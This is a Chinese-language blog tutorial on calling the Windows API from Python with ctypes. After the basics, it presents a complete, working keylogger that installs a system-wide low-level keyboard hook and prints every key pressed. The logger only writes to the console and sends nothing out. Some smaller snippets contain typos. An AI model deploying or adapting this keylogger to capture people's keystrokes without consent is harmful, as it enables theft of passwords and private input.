Windows API和ctypes模块操作键盘
本文最后更新于927天前,其中的信息可能已经有所发展或是发生改变。

一、关于Windows API

Window API是微软提供的应用程序接口集合。开发应用程序时,需要通过API调用操纵系统(内核)提供的丰富功能。常用的32位Windows环境中,提供名为Win32的Windows API,开发人员可以直接调用这些Windows API。

Win32 API 最 具 代 表 的 D L L 库

分类特征
kernel32.dll提供对文件系统、设备、进程、线程等基本资源的访问功能
user32.dll提供用户接口功能,包含创建、管理窗口,接受Windows消息,在屏幕上绘制文本,显示消息框
advapi32.dll提供注册表、系统终止与重启、Windows服务启动/停止/创建、账户管理等功能
gdi.dll提供对显示器、打印机及其他输出设备的管理功能
comdlg32.dll提供文件打开、文件保存、颜色字体选择等标准对话框管理功能
comctl32.dll支持应用程序访问操作系统的状态条、进度条、工具条等功能
shell32.dll支持应用程序访问操作系统shell提供的功能
netapi32.dll支持应用程序访问操作系统提供的各种通信功能

二、ctypes模块。

想在python中使用Windows操作系统提供的强大功能,必须通过调用Win32 API实现。而模块ctypes,可以在python程序中调用DLL,使用C语言的变量类型。

1.Windows环境下ctypes语法:

(1)加载DLL

x = windll.kernel32
y = windll.user32

(2)调用Win32 API
在DLL名称后指出要调用的函数名

windll.user.SetWindowsHookExA

也可以指出调用API时传递参数的数据类型。

printf = libc.printf
printf.argtypes = [c_char_p,c_char_p,c_int,c_double]
printf("String '%s', Int %d,Double %f\n", "Hi" , 10 , 2.2)

还可以指定函数的返回值格式

libc.strchr.restype = c_char_p

(3)数据类型

ctypes模块提供的数据类型,python可以使用C语言中的数据类型。如下面定义整型:

i = c_int
print i.value()

也可以声明用于保存地址的指针类型并使用。

PI = POINTER(c_int)

(4)指针的传递
通过函数的参数可以传递指针。

f = c_float()
s = create_string_buffer('\000' * 32)
windll.msvcrt.sscanf("1 3.14 Hello", "%f %s",byref(f),s)

(5)回调函数。
声明并传递回调函数,以便特定事件发生时进行调用。

def py_cmp_func(a,b)
	print  "py_cmp_func"
	return 0
CMPFUNC = CFUNCTYPE(c_int,POINTER(c_int),POINTER(c_int))
cmp_func = CMPFUNC(py_cmp_func)
widll.msvcrt.qsort(ia, len(ia), sizeof(c_int), cmp_func)

(6)结构体。
继承Structure类,声明结构体类

class POINT(Structure):
_fields_ = [("x", c_int),("y", c_int)]
point = POINT(10, 20)

2.ctypes和C,python中的变量类型对应表。

ctypes类型C类型python类型
c_charchar1-character string
c_wcharwchar_t1-character unicode string
c_bytecharint / long
c_ubyteunsigned charint/long
c_shortshortint / long
c_ushortunsigned shortint/long
c_intintint / long
c_uintunsigned intint/long
c_longlongint/long
c_ulongunsigned longint/long
c_longlong_int64或long longint/long
c_ulonglongunsigned_int64或unsigned long longint/long
c_floatfloatfloat
c_doubledoublefloat
c_char_pchar * (NUL terminated)string或None
c_wcharwchar_t * (NUL terminated)unicode或None
c_void_pvoid *int/long 或 None

三、键盘钩取。

1.代码。

# -*- coding: UTF-8 -*-
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD



user32 = windll.user32      # (1)使用windll声明user32与kernel32类型的变量
kernel32 = windll.kernel32


WH_KEYBOARD_LL =13  # (2)变量声明
WM_KEYDOWN=0X0100
CTRL_CODE = 162

class KeyLogger:   #(3)定义类实现挂钩,拆钩功能。
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    def installHookProc(self,pointer): #(4)定义挂钩函数
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True
    def uninstallHookProc(self):    #(5)定义拆钩函数
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def getFPTR(fn):  #(6)获取函数指针
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode,wParam,lParam):  #(7)定义钩子过程
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(0xFFFFFFFF&lParam[0])
    print(hookedKey)
    if (CTRL_CODE == int(lParam[0])):
        print("Ctrl pressed, call uninstallHook()")
        keyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():    #(8)传递消息
    msg = MSG()
    user32.GetMessageA(byref(msg),0,0,0)

keyLogger = KeyLogger()    #(9)启动消息钩取
pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):
    print("installed keyLogger")

startKeyLog()
        

(1)使用windll声明user32与kernel32类型的变量.使用相应DLL提供的函数时,格式为user32.API名称或kernel32.API名称。
(2)在Win32 API 内部定义并使用变量值。
(3)定义类实现挂钩,拆钩功能。
(4)挂钩函数,使用user32 DLL 的 SetWindowsHookExA()函数设置钩子。监视事件为WH_KEYBOARD_LL(键盘钩子,用于截获系统热键),范围设置为操作系统的所有线程。
(5)拆钩函数,,使用user32 DLL 的UnhookWindowsHookEx()函数,拆除之前设置的钩子。
(6)获取函数指针,CFUNCTYPE()函数指定SetWindowsHookExA()函数所需的钩子过程的参数与参数类型。通过CMPFUNC()函数获取内部声明的函数指针。
(7)定义钩子过程,钩子过程是一种回调函数,指定事件发生时,调用其执行相应处理。
若来到的消息时VM_KEYDOWN(键盘钩子,截获按健),则打印到屏幕;若是则调用拆钩函数。完毕后将钩链控制权让给其他钩子过程也就是CallNextHookEx()函数。ps:执行hookedKey = chr(lParam[0])语句时由于lParam[0]是C中long类型,python中的int型对于他来说太长了所以我们需要将它转换成对应的ASCLL码值再转换成字符串,改写语句 :hookedKey = chr(0xFFFFFFFF&lParam[0])
(8)传递消息,GetMessageA()函数监视队列,消息进入队列后取出消息,并传递给钩链中的第一个钩子。
(9)启动消息钩取,先创建KeyLogger类,然后调用挂钩函数设置钩子,同时注册钩子过程。最后调用传递消息的函数,将进入队列的消息传递给钩链。

点击数:16

    暂无评论

    发送评论 编辑评论

    
    				
    |´・ω・)ノ
    ヾ(≧∇≦*)ゝ
    (☆ω☆)
    (╯‵□′)╯︵┴─┴
     ̄﹃ ̄
    (/ω\)
    ∠( ᐛ 」∠)_
    (๑•̀ㅁ•́ฅ)
    →_→
    ୧(๑•̀⌄•́๑)૭
    ٩(ˊᗜˋ*)و
    (ノ°ο°)ノ
    (´இ皿இ`)
    ⌇●﹏●⌇
    (ฅ´ω`ฅ)
    (╯°A°)╯︵○○○
    φ( ̄∇ ̄o)
    ヾ(´・ ・`。)ノ"
    ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
    (ó﹏ò。)
    Σ(っ °Д °;)っ
    ( ,,´・ω・)ノ"(´っω・`。)
    ╮(╯▽╰)╭
    o(*////▽////*)q
    >﹏<
    ( ๑´•ω•) "(ㆆᴗㆆ)
    😂
    😀
    😅
    😊
    🙂
    🙃
    😌
    😍
    😘
    😜
    😝
    😏
    😒
    🙄
    😳
    😡
    😔
    😫
    😱
    😭
    💩
    👻
    🙌
    🖕
    👍
    👫
    👬
    👭
    🌚
    🌝
    🙈
    💊
    😶
    🙏
    🍦
    🍉
    😣
    Source: github.com/k4yt3x/flowerhd
    颜文字
    Emoji
    小恐龙
    花!
    上一篇
    下一篇